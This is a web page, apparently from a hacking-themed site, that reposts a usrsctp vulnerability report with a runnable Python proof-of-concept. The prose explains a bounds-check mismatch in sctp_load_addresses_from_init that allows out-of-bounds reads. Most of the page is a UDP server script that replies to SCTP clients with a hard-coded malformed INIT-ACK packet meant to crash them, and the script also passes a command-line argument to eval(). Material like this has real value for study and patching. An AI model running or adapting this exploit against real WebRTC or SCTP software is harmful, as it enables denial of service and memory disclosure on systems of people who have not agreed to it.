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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
'''
usersctp is SCTP library used by a variety of software including WebRTC. There is a vulnerability in the sctp_load_addresses_from_init function of usersctp that can lead to a number of out-of-bound reads. The input to sctp_load_addresses_from_init is verified by calling sctp_arethere_unrecognized_parameters, however there is a difference in how these functions handle parameter bounds. The function sctp_arethere_unrecognized_parameters does not process a parameter that is partially outside of the limit of the chunk, meanwhile, sctp_load_addresses_from_init will continue processing until a parameter that is entirely outside of the chunk occurs. This means that the last parameter of a chunk is not always verified, which can lead to parameters with very short plen values being processed by sctp_load_addresses_from_init. This can lead to out-of-bounds reads whenever the plen is subtracted from the header len.

To reproduce this issue:

1) run the attached 'server', initack.py

    python init_ack.py

2) run the sample usersctp client

./programs/.libs/client 127.0.0.1 7 0 8888 7777


The client will crash.
'''

import sys
from socket import *
import zlib


ECHO_PORT = 7777
BUFSIZE = 1024

def getshort(arr):
	return ord(arr[1]) + (ord(arr[0]) << 8);


def getlen(arr):
	return ord(arr[0]) + (ord(arr[1]) << 8);


def main():

        server()

def print_pack(pack):
	o = ""
	for item in pack:
		o = o + hex(ord(item)) + " "
	print "PACKET SENT", o

def server():
    times = 0
    if len(sys.argv) > 2:
        port = eval(sys.argv[2])
    else:
        port = ECHO_PORT
    s = socket(AF_INET, SOCK_DGRAM)
    s.bind(('', port))
    print 'udp echo server ready'
    while 1:
        data, addr = s.recvfrom(BUFSIZE)
	pack = ""
	for item in data:
		pack = pack + hex(ord(item)) + " "
        print 'server received %r from %r' % (pack, addr)

	vtag = data[16:20]
	type = ord(data[12])
	length = getshort(data[14:])

	port = "\x00\x07" + data[0:2]
	print "type", type, "len", length, "plen", len(data)
	ia = "\x86\x02\x01\x00\x2a\xe6\x97\x19\x00\x2c\x7c\x9f\x18\x33\x03\xc3\x07\x00\x01\x8e\x05\x00\x07\x00\x14\x0b\x36\x14\x01\x30\x2a\xe6\x97\x19\x00\x2c\x7c\x9f\xf9\x33\x05\x80\x03\x00\x01"
	print "vtag", hex(ord(vtag[0])), hex(ord(vtag[1])), hex(ord(vtag[2])), hex(ord(vtag[3]))
	o = port + "\0\0\0\0" + "\0\0\0\0" + vtag + ia[1:]
        crc = zlib.crc32(o) & 0xffffffff
        crcb= chr(crc&0xf) + chr((crc>> 8)&0xf) + chr((crc>> 16)&0xf) + chr((crc>> 24)&0xf)
      	o = port + vtag + crcb + ia[1:]
	print_pack(o) 
	s.sendto(o, addr)


main()